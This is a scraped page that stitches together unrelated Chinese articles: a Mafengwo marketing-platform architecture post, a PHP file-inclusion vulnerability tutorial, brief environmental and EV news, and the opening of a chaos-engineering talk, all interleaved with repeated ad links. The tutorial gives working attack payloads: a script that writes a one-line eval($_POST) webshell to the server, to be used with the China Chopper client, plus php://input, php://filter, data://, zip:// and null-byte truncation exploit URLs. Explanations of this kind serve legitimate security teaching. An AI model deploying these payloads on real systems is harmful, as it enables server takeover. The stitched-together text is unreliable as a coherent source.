支撐馬蜂窩「雙11」營銷大戰背後的技術架構

(馬蜂窩技術原創內容,公眾號 ID: mfwtech)

引言

消費者的狂歡節「雙 11」剛剛過去。在電商競爭環境日益激烈的今天,為了抓住流量紅利,雙 11 打響的已經不僅僅是「促銷戰」,也是「營銷戰」,這對平台的技術支撐能力提出新的要求。

從 2014 年的「318 大促」,到正在進行的 「馬蜂窩雙 11 全球旅行蜂搶節」,馬蜂窩旅遊電商業務的大促已經走過 5 年時間,僅僅是雙 11、暑期、十一黃金周、年終這些關鍵節點的 S 級促銷就張羅了 50 多場,每年上線活動達幾百個。

圖:馬蜂窩11.11全球旅行蜂搶節

 

在這個過程中,馬蜂窩營銷平台也在經歷着優化和改進,不斷探索靈活高效的營銷活動運營開發方式,更好地支撐業務營銷活動的模式創新和投放需求,努力實現平台商家與馬蜂窩旅遊消費者的高效匹配,目前已經形成了一套較為完整的技術體系。

本文將以馬蜂窩營銷活動後台的技術實踐為重點,分享馬蜂窩營銷平台的架構設計思路,希望能讓遇到類似問題的同學有所收穫。

 

一、馬蜂窩營銷平台架構

1. 營銷中心體系

談到大促,大家可能首先會想到的海量數據、高併發、高流量等關鍵詞。其實除了這些,營銷活動數量多、周期短、功能複雜多變等,都是營銷活動運營開發需要應對的挑戰。並且由於我們的很多活動會涉及到一些獎勵或權益的下發,對於安全性的要求也很高。

針對以上問題,馬蜂窩營銷系統的技術架構要具備的核心能力包括:

  • 打造靈活、高效的活動開發模式

  • 提供高可靠、高可用的活動運營支撐

  • 保證營銷活動業務的安全運行

因此,我們本着「平台化、組件化、模塊化」的方法,將營銷體系的架構設計如下:

 

馬蜂窩整體營銷體系分為 B 端和 C 端兩部分。B 端主要面向商家,幫助商家在馬蜂窩招商平台進行大促活動的提報以及商品選取;C 端主要是面向馬蜂窩用戶,平台用戶可以在業務營銷頁面完成活動商品的購買、秒殺、大促紅包贏取等具體的營銷活動參与互動。

2. C 端營銷平台

C 端營銷平台的系統架構主要分為主要分為營銷應用層、中間層、投放平台、搭建平台四個部分。

  • 活動開發平台:營銷平台最核心的部分,也是本文重點。包括前端頁面搭建層「魔方」、業務邏輯層「蜂玩樂園」、獎勵規則控制層「獎池」三部分

  • 投放平台:是指營銷活動頁的投放,包括投放策略、運營策略和機制等

  • 中間件:負責併發處理、分佈式緩存和容災限流等等

  • 營銷應用:包括馬蜂窩大促營銷、業務營銷、新人禮包等

下面,我們重點介紹營銷搭建平台的核心部分——活動開發平台,是如何實現高效、靈活的營銷活動開發模式的。

 

二、活動開發平台的實現

2.1 靈活高效的開發模式

通過上圖可以看到,由 MySQL、ElasticSearch、Redis 組成的數據池在底層為活動開發平台提供支撐。其中 MySQL 為最主要的存儲方案,用於會場搭建配置數據、蜂玩樂園的用戶運行數據、獎池配置數據等的存放。ElasticSearch 是搜索引擎,支持活動頁面商家活動報名與篩選過程。Redis 有 2 種用途:1)活動任務併發鎖;2)獎池的獎品數據存放;3)限流和削峰。

之前我們提到,活動開發的挑戰包括數量多、周期短、功能複雜多變。為了降低開發同學的工作量,提升研發效率,我們將前端和後端組件進行了整合,並封裝成功能模塊對提供服務,形成了目前的魔方、蜂玩樂園、獎池三個子系統,使整體結構更加清晰。每個部分解決的問題和主要功能模塊示意如下:

2.1.1 系統分層

魔方

「魔方」系統希望通過組件、工具的方式完成營銷頁面的搭建,實現統一維護和復用,從而減少前端團隊在活動開發中承載的重複性開發工作。目前為止我們已經在「魔方」中開發了 80 多個組件模塊,例如秒殺模塊、貨架模塊、店鋪模塊、導航模塊、領券模塊、遊戲互動模塊等。

現在,小型活動完全可以不用開發人員支持,只需要業務同學操作即可搭建促銷會場上線活動,提升了活動運營效率,也大大解放了前端開發人員。關於「魔方」更多的細節我們會在後續文章單獨介紹,本文不過多展開。

蜂玩樂園

(1) 邏輯功能抽象

營銷活動的核心是創新和吸引力。每次活動開始前,運營同學都會在創意策劃上絞盡腦汁,盡可能創造出與眾不同的新玩法。這些新穎有趣的遊戲玩法,可以在微信,App 等渠道引起用戶的好奇心和興趣,為賣場拉新,進而創造更多的交易。

隨着「花樣」的不斷翻新,活動開發的複雜度也在增加,有時甚至讓技術同學應接不暇,也促使我們探索更加高效的開發方式。

我們開始思考在複雜多變的活動玩法下,是否潛藏着一些不變的模式和規則?通過對不同業務活動模式的分析和抽象,我們將活動的流程和用戶的行為進行了一個有趣的類比:

  • 首先,開發活動就創建了一個「樂園」

  • 我們會根據不同的「規則」去設計每一個「活動」,激發潛在「參与者」的興趣,或建立他們希望贏得獎勵的期待。

  • 進入活動后,我們會驗證參与者「身份」,和需要滿足這次活動的「條件」,來確定他是否可以開始。

  • 活動開始時,參与者參与一次活動需要發生的行為,就是在完成「任務」

  • 完成「任務」后,為參与者發放相應的「權益」或「獎勵」。

這個類比模型在歷屆促銷活動中進行了推演,結果显示基本是通用的,但完成任務可能伴隨獎勵服務,也可能沒有,由具體業務需求決定。舉個例子,在一場紅包裂變的營銷活動中有一個需求是下紅包雨,用戶可以點擊掉下來的紅包領取相應的紅包獎勵。那麼「領取」這個動作就可以視為活動中的一個任務;另一個需求是每當用戶成功邀請一位好友后就可以在任務中心領取一個邀請紅包獎勵,那麼我們可以把在任務中心領取邀請紅包也看成一個任務。

這兩個任務有一個共同的特點就是觸發后都有紅包獎勵,只是在第二個場景中的任務,本質上是用戶發起了一個請求。

經過進一步的梳理、規整,我們抽象出了「參与者」、「活動」、「任務」、「獎品」等業務邏輯功能。

(2) 技術實現

蜂玩樂園將每一個業務邏輯功能收歸到一個唯一的入口和統一的體系中,形成獨立的功能組件模塊,如數據請求模塊、自定義數據配置模塊、驗證器模塊 、執行器模塊、獎勵服務模塊等。每個活動的任務開發都可以選擇模塊配置,模塊配置信息以 yaml. 的格式進行統一管理,這樣的配置具有靈活性、擴展性和可復用性。

在使用的時候解析配置數據,並向組件註冊中心註冊該任務所需要的組件模塊,再按照定義好的順序執行即可。流程如下圖所示:

為大家介紹幾個關鍵模塊的實現。

  • 數據請求模塊

數據請求模塊定義了客戶端與服務端約定好的請求參數規則:

request:
       -
        field:  deviceId
        rule: required  #必填項校驗
        method: post
        message:  deviceId參數錯誤
       -
        field:  sex
        rule: in:[0,1] #範圍校驗
        method: post
        message: 性別範圍錯誤
       -
        field:  phone
        rule:   regex:/^1[3456789]\d{9}$/ #正則校驗
        method: post
        message: 手機號格式錯誤

(i) field – 傳入參數的 key 
(ii) rule – 校驗該參數的規則,目前我們已經實現了一些常用的規則:
(iii) required – 必傳參數

  • in:驗證所傳參數必須在指定範圍內

  • regex:正則表達式校驗 

  • min,max:自定義規則最小和最大長度

  • integer:必須是数字

  • method:定義 GET、POST 請求方式,

(iv) message – 規則驗證失敗返回的錯誤信息。這一層會讀取配置模塊中的請求參數模塊配置內容,將內容解析出來,按照所配置的字段規則做響應的校驗,如校驗通過繼續向下執行,沒有通過則直接返回規則提示。

  • 參數配置模塊

參數配置模塊定義了該任務執行中所需配置的所有靜態數據配置項。營銷活動的特點是多樣性、創新性,所以很難去窮舉各種場景建立一個有針對性的配置中心,因此這裏就為每一個任務單獨開闢了一個沒有結構化的小空間,可根據具體場景的特定需求為任務自由配置,使程序代碼里基本不用再寫各種不合理的硬編碼。

params:
    stockRedPacket:
     amount: 1
     stock: 3
     stockKey:  limit_key
     stockField: limit_key_90
     timeWindow:
       beginTime: "2019-11-06 00:00:00"
       endTime: "2019-11-10 23:59:

以一個用戶開啟紅包的配置信息為例:

(i) stockRedPacket 配置了活動設定的固定庫存與固定金額紅包的業務邏輯

  • amount 金額

  • stock 庫存

  • stockKey、stockField 用來加鎖的字段

(ii) timeWindow 定義了該任務的活動開始和結束時間

 

  • 驗證器模塊

驗證器模塊的功能主要是是對業務或者規則的校驗。它定義了該任務要執行的業務驗證規則,特點是具有單一性、普適性,能提供一種適用於大多數場景的方法。這些驗證規則可以拆解得足夠細,越細則越靈活,得以在不同任務中靈活組裝使用。

validator:
   - MCommon_Validator_TimeWindowValidator
   - MCommon_Validator_AuthValidator
   - MCommon_Validator_LockValidator

  • 這裏使用了活動時間驗證 TimeWindowValidator,不在活動時間內則返回錯誤提示

  • 登陸驗證 AuthValidator,參加活動必須要登錄,前端通過判斷錯誤狀態碼統一跳轉到登陸頁面

  • 併發鎖 LockValidator,避免一個用戶同樣的操作多次提交

  • 取出所有的驗證器,然後通過反射依次按照順序調用,如果其中一個驗證器失敗,則直接返回錯誤信息,終止向下執行。

 

  • 執行器模塊

執行器模塊定義了該任務要執行的一些業務邏輯,比如要執行一段寫日誌的邏輯,要執行一個異步調用的邏輯等,都可以使用此模塊定義一個執行器去執行。

command: MSign_Command
afterCommand: MSign_Command_After

執行器又分為前置 command 和後置 afterComman:

 

  • 如果需要執行獎勵模塊,則先執行前置 command,再執行獎勵邏輯,最後執行後置 afterCommand,最終返回結果

  • 如果沒有獎勵,則先執行前置 command,接着執行後置 afterCommand

 

  • 獎勵服務模塊

獎勵服務模塊決定該任務是否需要執行獎勵發放,如果配置了獎勵,任務在執行時會根據獎勵的配置規則下發獎勵。在我們的實際場景中,主要涉及到的獎勵類型包括獎勵機會、紅包、抽獎、優惠券等:

  • 獎勵機會:有 2 種規則,分別是按固定頻次給用戶初始化機會數,和獎勵增量機會數。

  • 發送紅包:設定固定紅包和隨機紅包,隨機紅包按需求設置發放的概率與用戶群。

  • 抽獎:對接獎池系統,下文詳細介紹。

  • 優惠券:與馬蜂窩優惠中心直接打通,只需要配置優惠券 SN 和渠道號,即可把優惠券發送到用戶卡券。

 

獎池

在營銷活動中,許多場景都涉及用戶抽獎或獎品發放。營銷技術平台因此對獎品發放的整個生命周期進行了抽象和封裝,創建了「獎池」。

(1) 主要功能

獎池的主要功能點包括:

  • 創建獎品池:為每次活動創建一個或多個獎品池

  • 設置獎品:在單一獎品池中均勻放置獎品

  • 用戶抽獎:用戶在單一獎池中抽獎,支持按概率抽獎,支持獎品的發放和領取

  • 中獎統計:包括獎品已發放數量,已領取數量,剩餘數量

如下圖所示,只需創建好獎池,配置好獎品信息,把對應的獎池 ID 填寫到任務,即可實現抽獎功能:

(2) 方案設計

獎池早期的設計非常簡單,獎品實體僅定義「余量」的概念,利用關係型數據庫中單行記錄存儲一次活動的獎品、總量、發放量、余量等數據。在用戶流量較小且均勻的情況下,發放過程平穩正常。每次進行獎品發放時,在單行記錄上進行 update 操作,扣減余量並增加發放量即可。

然而隨着公司業務的發展,一次營銷活動帶來的效果讓我們不得不立刻改進獎池方案。這次營銷活動帶來的流量遠超預期,但獎品數量的配置卻一如往常。當活動開啟后,獎品消耗很快,並在一段時間后被提前抽光。為了不影響用戶體驗,營銷運營同學不得不持續向獎池中補充獎品。

經歷這次問題開發同學發現,獎池提前抽光的原因在於設計中忽略了時間分佈的因素,使獎品抽光的速度只與訪問量相關。因此,大家開始思考如何讓獎品固定且均勻分佈在活動周期內。

通過學習與比較,最終選擇了業界比較通用的方案,使用 Redis 的有序集合(Sorted Set)創建獎池和設置獎品,從而使獎品在活動時間段內均勻分佈,防止提前抽光的情況出現。

(3) 實現算法

 

1. 時間戳:根據獎品的數量和活動時長,為每 1 份獎品設置一個出獎時間戳,這份獎品僅能在這一時間點及之後被抽出。這一步使出獎時間戳盡量均勻分佈在活動時間範圍內。

2. 創建獎品池:為每一組獎品設置一個獎池,在 Redis 創建一個 zset 數據結構,將其中的每 1 份獎品作為 1 個成員(Member),將時間戳作為分值(score)。
3. 放置獎品:使用ZADD 獎池 出獎時間戳 1 份獎品 語法,在 Redis 中布置一個獎品。

4. 抽獎:使用 Sorted Set 的排序方法,每次排序后查看排名第一的獎品,比較當前時間戳與獎品時間戳的大小。如果當前時間晚於或等於出獎時間,則使用 ZREM 指令出獎,否則不出。

示意圖如下:

2.1.2  體系統一

為了讓開發同學只專註於任務的設計開發,我們抽象出「賬戶」的概念,每個任務產生的數據資源會存儲在所在的「賬戶」體系下,使其支撐多個類似的活動。這種設計的好處在於:

(1)同一用戶在參与不同的活動時得到的獎勵都是相互獨立的,不會出現混淆的情況。

(2)之前每次活動都需要單獨創建數據表,活動下線后表不能復用。時間長了造成系統佔用許多無用的數據表。而把數據庫表以抽象的任務形態創建,不針對具體的某一業務類型,就可以使數據表實現復用。這樣我們只專註任務的設計開發,不用再關心數據表的設計。

在營銷大促的活動中,我們也接入了風控中心、併發鎖和限流服務,以保障整個活動的安全和穩定。

2.2 可用性和可靠性

秒殺模塊是大促流量的最高峰。結合業務實際,我們針對這種場景也做了限流和削峰處理。

限流採用的方案是限制時間窗內最大請求數據,用戶再搶會員權益時,第一步會讀取限流配置 key 和 value,判斷單位時間內是否超過限制的最大請求數 value,如果超過則返回信息提示結束請求;如果沒有超過閾值,則進入下一步操作。目前的限流系統只是在應用層面的實現,為了更好地支撐業務發展,後續我們也會接入網關服務,通過 Sentinel 和 Hystrix 做限流熔斷,避免流量進入應用層,提高服務的高可用性。

削峰部分結合實例說明。

以秒殺金卡會員的場景為例,我們會先用 RabbitMQ 承接瞬時的流量洪峰,再平滑地消費所有請求,並提前把庫存數量對應的 Token 寫入 Redis 緩存(這裏我們針對性的對不同的用戶引入了 Token 機制,以保證我們的秒殺商品在時效和庫存上得以保障)。用戶在秒殺時會順序地從 Redis 中 rPop 對應的 Token,避免庫存超賣的情況;用戶拿到 Token 之後再去收銀台下單開通金卡會員,就可以避免流量同一時刻去下單。

隨着業務和技術的發展,系統的不確定性以及流量的預估都更為困難。我們也在不斷學習業界的先進經驗,來更好地提升系統的可用性和可靠性。目前我們正在調研基於 Noah 的「自適應」限流技術並积極推進,以期針對不同的服務器性能以及當前的流量情況進行針對性的限流控制,相信我們會在後續的優化中會做得更好。

2.3 風險控制

目前是接入公司統一的風控中心。在營銷活動需求確定好后,我們會向風控服務中心提供需要風控的業務場景邏輯。風控中心根據業務配置不同策略,給出不同的場景 key。我們只需要在營銷活動任務中的自定義參數配置模塊配置好風控場景 key,就可在獎勵服務模塊自動調用風控接口去校驗用戶,如果識別出是風險用戶則會被攔截,終止活動參与。

可用性和可靠性、風險控制的實現流程如下圖所示:

 

三、近期規劃

1. 完善監控體系

目前對於活動運行中的數據監控,主要依賴數據組的統計與輸出。線上活動的運行情況並不能通過「蜂玩樂園」與「獎池」系統實時並綜合表現出來。

未來會補齊運行時的活動監控功能,通過活動、任務、獎品的運行時數據指標,指導運營同學第一時間調整活動參數,取得最佳運營效果。

2. 服務化改造

營銷基礎平台依舊搭建在單體架構上,部分功能的邊界與職責並不完全清晰。接下來營銷技術平台會進行技術架構的升級與改造,從單體架構轉向微服務架構,使服務能力與開發能效同步提升。

小結

隨着營銷的逐年發展,活動的趣味性和複雜度會一起上升,這需要我們不斷更新對營銷活動的認識。在這過程中也要反覆嘗試新的抽象和重構,通過不斷改進現有系統,支持更多和更好玩的營銷活動,讓馬蜂窩用戶玩兒得更省心,玩兒得更省錢。

本文作者:馬蜂窩電商研發營銷中心團隊劉遠勻、任浩、唐溶波。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

文件包含漏洞原理淺探

文件包含漏洞原理淺探

By : Mirror王宇陽

E-mail : mirrorwangyuyang@gmail.com

聯繫方式: 2821319009 (QQ)

個人主頁: https://www.cnblogs.com/wangyuyang1016/

文件包含

文件包含是指一個文件裡面包含另外一個文件;開發過程中,重複使用的函數會寫入單獨的文件中,需要使用該函數的時候直接從程序中調用該文件即可,這一個過程就是“文件包含”

由於文件包含的功能特性,導致客戶端可以調用一個惡意文件,進行動態調用

PHP文件包含

PHP提供了四個文件包含函數提供的功能強大且靈活多變,經常存在文件包含函數

危險包含函數(PHP)

include()

無法查到被包含的文件時產生錯誤”E_COMPLE_ERROR”停止運行

include_once()

和前者一樣,如果文件中的代碼已經包含了,則不再會包含

require()

無法查到被包含的文件是產生警告”E_WARNING”繼續運行

require_once()

和前者一樣,無法查到被包含的文件是產生警告”E_WARNING”繼續運行

文件包含實例

開發演示

<?php
    include("ArrayUtil.php"); //利用include函數包含
    $arr = array("sougou","google","yahoo","baidu","FackBook");
    PrintArr($arr);
?>
<?php
    function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){
        foreach ($arr as $key => $value) {
            echo "$key $sp $value $lin";
        }
    }
?>

在index.php文件中使用include函數文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函數;在index.php第4行我們調用了PrintArr()函數。

使用瀏覽器訪問index.php

漏洞演示(本地執行)

<?php
    include("phpinfo.txt");
?>
<?php
    phpinfo();
?>

喏!一個txt文件被成功包含了;筆者測試了其它各種服務器可接受的文件格式,均實驗成功!由此筆者得到的論證是:include()函數包含的任何文件都會以PHP文件解析,但前提是文件的內容符合PHP代碼規範;若內容不符合PHP代碼規範則會在頁面暴露文件內容(這是重點)

漏洞演示(遠程執行)

PHP不單單可以在服務端(本地)執行文件包含,也可以遠程執行文件包含;

遠程的文件包含執行需要修改PHP.ini配置文件(php默認關閉遠程包含文件)

allow_url_include = on

由於我們不具備遠程條件,只好本地搭建環境將就一下哈!!!

D:\phpStudy\phpinfo.txt

<?php
    phpinfo();
?>

127.0.0.1/index.php

<?php
    include("D:\phpStudy\phpinfo.txt");
?>

換一個方法

這裏的URL參數值提交的只是一個遠程包含文件的URL地址;遠程文件包含和本地文件包含的解析方法一樣,只要符合PHP代碼規範就可以按照PHP代碼解析執行。

如果我們包含的文件不存在,則會發生Error,網站的路徑就會暴露!

PHP文件包含漏洞基本利用

讀取敏感文件

構造類似http://127.0.0.1/?url=.\phpinfo.txt

喏!我們看見了文本內容,為什麼呢?

因為include()函數會執行文件包含,不管是什麼格式的文件只要符合PHP代碼規範的內容就會按照PHP解析;而不符合PHP代碼規範的則會直接輸出文件內容。

綜合特性:利用該特性包含文件的方法,訪問本地的其它文件均會執行php解析或者回顯文本的內容;尤其是系統敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路徑則需要結合其它姿勢來獲得(例如上面利用error回顯的方式)

重要的一點:得具有文件的操作權限哦

遠程包含Shell

遠程包含文本的條件是 allow_url_fopen= on

創建shell.txt(功能:在服務端本地創建一句話木馬腳本)

<?php
    $key= ("<?php @eval(\$_POST['mirror']);?>");//$符號需要轉義要按字符存
    $file = fopen("shell.php","w");
    fwrite($file, $key);
    fclose($file);
?>

構造:http://127.0.0.1/?url=..\xx\shell.txt

遠程包含文本執行成功后,服務端本地會創建一個”shell.php”一句話木馬執行文件

shell.php創建后,使用“菜刀”連接一句話:

喏!包含執行文件創建本地一個shell.php一句話木馬,然後菜刀連木馬!一梭子搞定!

文件包含配合上傳

利用web應用的上傳功能,上傳一張偽木馬圖片,然後利用文件包含執行已上傳的圖片,然後偽木馬圖片的功能就是被包含執行后在服務端本地創建一個木馬執行php文件

PHP封裝協議利用

PHP內置很多的,封裝協議的功能和文件函數(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默認開啟 該選項為on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。

allow_url_include:off 默認關閉,該選項為on便是允許 包含URL 對象文件等

考慮安全都是全部關閉

【引用官方文檔】

  • — 訪問本地文件系統
  • — 訪問 HTTP(s) 網址
  • — 訪問 FTP(s) URLs
  • — 數據(RFC 2397)
  • — 查找匹配的文件路徑模式
  • — PHP 歸檔
  • — Secure Shell 2
  • — RAR
  • — 音頻流
  • — 處理交互式的流
file://協議:

訪問本地文件系統

file://[本地文件的絕對路徑和文件名]

訪問各個IO流

需要開啟 allow_url_include: on

  • php://stdin:直接訪問PHP進程相應的輸入或輸出流(只讀)

  • php://stdout:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://stderr:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://filter:進行任意文件讀取的利用

  • php://input:訪問請求的原始數據的只讀流,將post請求中的數據作為php解析

  • php://output:只寫的數據流,允許print和echo方式寫入到輸出緩存中

  • php://fd: 允許直接訪問指定的文件描述符

    更多詳細可以參考官方php://協議文檔

zip://協議:

(zip:// , bzip2:// , zlib:// )屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名

zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

注意 井字符號 ’ # ‘ 在url中需要轉為 %23

allow_utl_include= On

data://text/plain;base64,[string_base64加密后]

查詢匹配的文件路徑模式

glob://[url]
<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 並打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

處理交互式數據流(默認未開啟,需要安裝PECL—Expect擴展)

expect://command

參見文章

讀取PHP文件

利用file://讀取文件內容

file://[本地文件的絕對路徑和文件名]

利用php://filter讀取php文件內容

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

這裏的結果是經過Base64加密的

寫入PHP文件
利用php://input:

使用php://input可以執行PHP語句,但是受限於allow_utl_include= On

url text:

http://127.0.0.1/index.php/?url=php://input

Post data:

<?php phpinfo();?>

喏!利用“php://input”執行php代碼”post data數據內容“,這裏只是回顯phpinfo(),如果我們利用php://input執行服務端本地創建php一句話木馬文件,後果可想而知

利用data://:

受限於allow_utl_include= Onphp.ini配置

?file=[data://text/plain;base64,[base64編碼加密的payload)]

注意沒有php閉合標籤

利用zip://:
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php

總結

上面這張圖是筆者從FREEBUF漏斗社區的文章中copy來的,算是一個不錯的總結^_^

截斷包含

magic_quotes_gpc = off函數為Off狀態才可以使用,因為在On狀態下%00會被轉義導致無法截斷;https://www.cnblogs.com/timelesszhuang/p/3726736.html

PHP6/7關閉了magic_quotes_gpc函數:

文件包含的漏洞修復,尤其是include()相關文件包含函數,只要限制後綴名就好了?

<?php
    if(iset($_GET['url'])){
            include $_GET['url'].".php";
    } else{
        include 'home.php';
    }
?>

上述程序就是固定限制後綴名,用戶只需要指明文件名就可以,不需要用戶提交後綴名

現在我們利用之前的包含手段,包含”shell.php”文件

http://127.0.0.1/index.php/?url=shell.php

由於程序固定了文件後綴格式,於是在後台會構成

shell.php.php

include()無法查找到“shell.php.php”,故此導致報錯

採用字節截斷

http://127.0.0.1/index.php/?url=shell.php%00

PHP5.2+的版本漸漸的都修復了字節截斷,所以很少有利用了

筆者不做過多的細節說明^_^

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

回顧2019年極端天氣事件 全球損失超過1000億美元

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

川普政府新規 傳新建設環評無須再考量氣候衝擊

摘錄自2020年1月7日中央社華盛頓報導

消息人士表示,根據美國川普政府將於8日提出的新規定,往後美國公路與油管等大型計畫的環評,無須再考量「經年累月的」氣候衝擊。

這項政策大轉變,將要求聯邦機構落實「國家環境政策法」(NEPA)的作法有所改變。國家環境政策法旨在確保政府檢討造橋鋪路、砍樹伐林、批准「基石XL」(Keystone XL)跨州油管等計畫,或對計畫做出決策時,能確實保護環境。

這將是40年來,負責協調美國聯邦機構與其他白宮辦公室環保努力的白宮環境品質委員會(White House Council on Environmental Quality)首次做出規定上的變更。

白宮環境品質委員會負責監督近80個政府機關是否遵守國家環境政策法規範。

消息人士還說,預料白宮環境品質委員會將對會啟動嚴格環評的計畫限制規模、增加可被排除在國家環境政策法環評之外的計畫類別,並允許公司或計畫開發者自行進行環評。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

騰訊出資!中國版特斯拉 NextEV 先瞄準中國市場

騰訊和高瓴資本在內等多家中國網路巨頭和金融投資機構共同投資的新能源汽車廠商 NextEV,將成為特斯拉(Tesla)的競爭對手。據路透報導,NextEV 發言人劉吉利表示,已聘請福特前高管 Martin Leach 打造一家全球性汽車廠商,他們還招聘了有在特斯拉、寶馬(BMW)、大眾(VW)和其他主要汽車廠商工作經驗的專家。他強調,NextEV 將先瞄準中國市場,然後走向世界。   NextEV 投資方包括數家非汽車廠商的中國科技公司,且其開發電動車的努力得到中國政府的支持,中國政府最近修改相關法規,允許非汽車廠商投資電動汽車產業。目前已宣布或在考慮投資電動汽車產業的中國科技公司包括阿里巴巴、小米和樂視。   劉吉利表示,NextEV 推出的第一款產品將是一款電動超級跑車,預計該車表現將超過世界上所有採用內燃機的跑車。NextEV 並將於明年推出賽車車型,功率超過1000馬力,加速到時速 100 公里僅需 3 秒。之後 NextEV 還會推出一系列高性能車型。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

台廠昶洧研發系列電動車 Thunder Power 將於 2017 年歐洲上市

  昶洧自有品牌 Thunder Power 電動車系列,於「2015 法蘭克福國際車展(9 月 17 日至 27 日)」中進行首秀。昶洧表示,Thunder Power 電動車系列量產車預計將於 2017 年在歐洲上市,2018 年在中國大陸上市,之後更將進一步拓展美國市場。   Thunder Power 主要生產廠將設在大陸浙江省紹興市,而歐洲的生產基地,待確定後也將公佈。公司指出,目前所有研發活動都將由昶洧設在米蘭附近的歐洲總部開展並管理,而設在中國大陸和美國的研發機構將負責提供額外支持。   昶洧指出,Thunder Power 作為一款後驅電動轎車,擁有令人興奮的駕控性能,和令同儕豔羨的強大續航能力,該系列車型輸出功率有 230 千瓦或 320 千瓦 2 款動力選擇,充滿電後可行駛超過 650 公里,經過 30 分鐘短暫充電,可再行駛 300 多公里,強大的續航能力足以傲視同級;320 千瓦功率車型在 5 秒內便可完成 0-100 公里加速,最高時速可達 250 公里。   昶洧董事長沈瑋表示,公司歷經 5 年多研發,於本屆法蘭克福國際車展上展出 Thunder Power 豪華電動車系列,選擇在此舉行全球首秀,希望吸引全球媒體、投資人和消費者的目光;相信電動車成為主流並取代內燃發動機汽車,不再是不可能的事,而只是時間問題。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

China .NET Conf 2019-.NET技術架構下的混沌工程實踐

這個月的8號、9號,個人很榮幸參加了China.NET Conf 2019 , 中國.NET開發者峰會,同時分享了技術專題《.NET技術架構下的混沌工程實踐》,給廣大的.NET開發小夥伴介紹混沌工程和高可用性改造實踐。會後大傢伙聚餐的時候,陳計節老師建議大家將各自的議題分享到社區,分享給大家。因此,今天和大家分享我的技術專題《.NET技術架構下的混沌工程實踐》。

先放幾張大會照片:

整個專題主要分為四個部分:

  1. .NET分佈式、微服務架構下的高可用性挑戰
  2. 混沌工程簡介
  3. .NET混沌工程的實踐和成果分享
  4. 展望和規劃

一、.NET分佈式、微服務架構下的高可用性挑戰

目前,我們特來電的技術架構是分佈式、微服務化的,線上超過1000台Server,高可用保障壓力很大:

  • 系統7*24小時運行,不允許宕機,一旦宕機出問題,直接影響全國人民出行;
  • 系統SLA要求99.95% ,全年可宕機時間只有4.38小時;
  • 服務調用鏈路越來越長,依賴越來越複雜,某個環節出問題,都有肯能導致服務雪崩、大規模宕機;
  • 線上遭遇:網絡抖動、內存泄露、線程阻塞、CPU被打爆、 數據庫被打爆、中間件宕機等棘手問題;
  • 每天上百次發布更新,系統高可用性保障壓力非常大;

一張全鏈路監控圖可以反映我們系統的複雜:

 

例如主機CPU被打爆的問題,線上經常會遇到:

經歷了線上各種高可用性問題后,我們做了很多反思和總結:

系統在實現了分佈式、微服務化之後,我們到底有多少把握來保證系統的正常運行?  

如果出現問題,整個分佈式系統會變得非常“混亂”,甚至會引發系統的大規模宕機。

因此,我們有必要在線上事故出現之前,提前識別出系統有哪些弱點和問題,統一管控系統的固有混沌。

這套管控系統固有混沌的方法和體系,就是我們今天要介紹的主角:混沌工程

